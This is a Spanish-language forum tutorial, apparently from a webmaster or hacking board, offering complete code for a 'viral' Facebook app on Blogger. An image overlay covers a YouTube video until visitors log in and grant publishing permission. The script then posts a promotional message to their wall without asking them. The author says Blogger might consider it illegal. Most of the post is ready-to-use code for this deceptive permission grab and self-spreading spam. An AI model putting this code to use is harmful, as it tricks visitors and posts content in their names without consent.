YeltsinReyes
Mi
Verificación en dos pasos activada
Verificado por Whatsapp
Verificado por Binance
¡Usuario popular!
- Desde
- 16 Feb 2010
- Mensajes
- 3.059
Hola, este es mi primer tutorial y les vengo a ofrecer una App Viral de Videos para Blogger que auto-publica en el muro del usuario cuando acepta los permisos.!!! :encouragement:
DEMO: Aplicación viral para Blogger.!!
LINK DE LA IMAGEN ARRIBA DEL VIDEO: http://fulldevideos.com/ingresaconfb.png
Lo primero tenemos el codigo app-blogger.js en donde solo agregaremos el ID de nuestra APP.!!
Lo agregamos asi debajo del <body> en nuestra plantilla.!!
Tambien agregamos este.
Ahora el CSS que también pondremos debajo de <body> y cambiaremos el link de nuestra imagen ingresaconfb.png
Ahora la parte del video que agregaremos en nuestros Post o Entradas!!
Aqui solo cambiaremos el ID del vídeo el cual es C4eW7-8mCLM
Esta es la Función que publicar el mensaje en el muro del usuario que editaremos y también pondremos en el Post o la Entrada.!!!
NOTA: Prueben la APP en un Blog nuevo, nose si Blogger tome esta APP como ilegal y elimine su Blogger.!! :encouragement:
DEMO: Aplicación viral para Blogger.!!
LINK DE LA IMAGEN ARRIBA DEL VIDEO: http://fulldevideos.com/ingresaconfb.png
Lo primero tenemos el codigo app-blogger.js en donde solo agregaremos el ID de nuestra APP.!!
HTML:
FB.init({
appId : 'NUESTRA APP ID',
status : true,
cookie : true,
xfbml : true
});
FB.getLoginStatus(function(response) {
if (response.status === 'connected') {
} else if (response.status === 'not_authorized') {
$("#ingresaconfb").show("slow");
}
});
FB.Event.subscribe('auth.authResponseChange', function(response) {
if (response.status === 'connected') {
$("#ingresaconfb").hide("slow");
//alert("Gracias por visitarnos, Ahora disfruta del video!");
AutoPost();
}
});
function permisosReload(){
FB.login(function(response) { window.location.reload(); }, {scope: 'publish_actions'});
}Lo agregamos asi debajo del <body> en nuestra plantilla.!!
HTML:
<script src='http://tudominio.com/app-blogger.js'/>Tambien agregamos este.
HTML:
<script src='http://code.jquery.com/jquery-1.5.1.min.js'></script>Ahora el CSS que también pondremos debajo de <body> y cambiaremos el link de nuestra imagen ingresaconfb.png
HTML:
<style>
#appviralblogger{
text-align: center;
position: relative;
margin:0px auto;
border:0px solid #ff0000;
width: 600px;
height: 360px;
}
#ingresaconfb {
width:600px;
height:360px;
background:url(http://tudominio.com/ingresaconfb.png);
position:absolute;
z-index:2;
margin:0px auto;
border:0px solid #ff0000;
}
</style>Ahora la parte del video que agregaremos en nuestros Post o Entradas!!
HTML:
<div id="appviralblogger">
<div id="ingresaconfb" onclick="permisosReload();"></div>
<iframe allowfullscreen="" frameborder="0" height="360" src="http://www.youtube.com/embed/C4eW7-8mCLM?wmode=transparent" width="600" onclick="AutoPost();"></iframe>
</div>Aqui solo cambiaremos el ID del vídeo el cual es C4eW7-8mCLM
Esta es la Función que publicar el mensaje en el muro del usuario que editaremos y también pondremos en el Post o la Entrada.!!!
HTML:
<script>
//<![CDATA[
function AutoPost() {
var publish = {
method: "stream.publish",
message: " AQUI MENSAJE DEL POST",
picture : "http://AQUI LINK DE IMAGEN DEL POST.jpg",
link : "http:// AQUI LINK DEL POST .COM",
name: "AQUI TITULO DEL POST",
caption : "www.youtube.com",
description: "AQUI BREVE DESCRIPCIÓN DEL POST"
};
FB.api("/me/feed", "POST", publish, function(response) {
});
};
//]]>
</script>NOTA: Prueben la APP en un Blog nuevo, nose si Blogger tome esta APP como ilegal y elimine su Blogger.!! :encouragement:
Última edición:
.
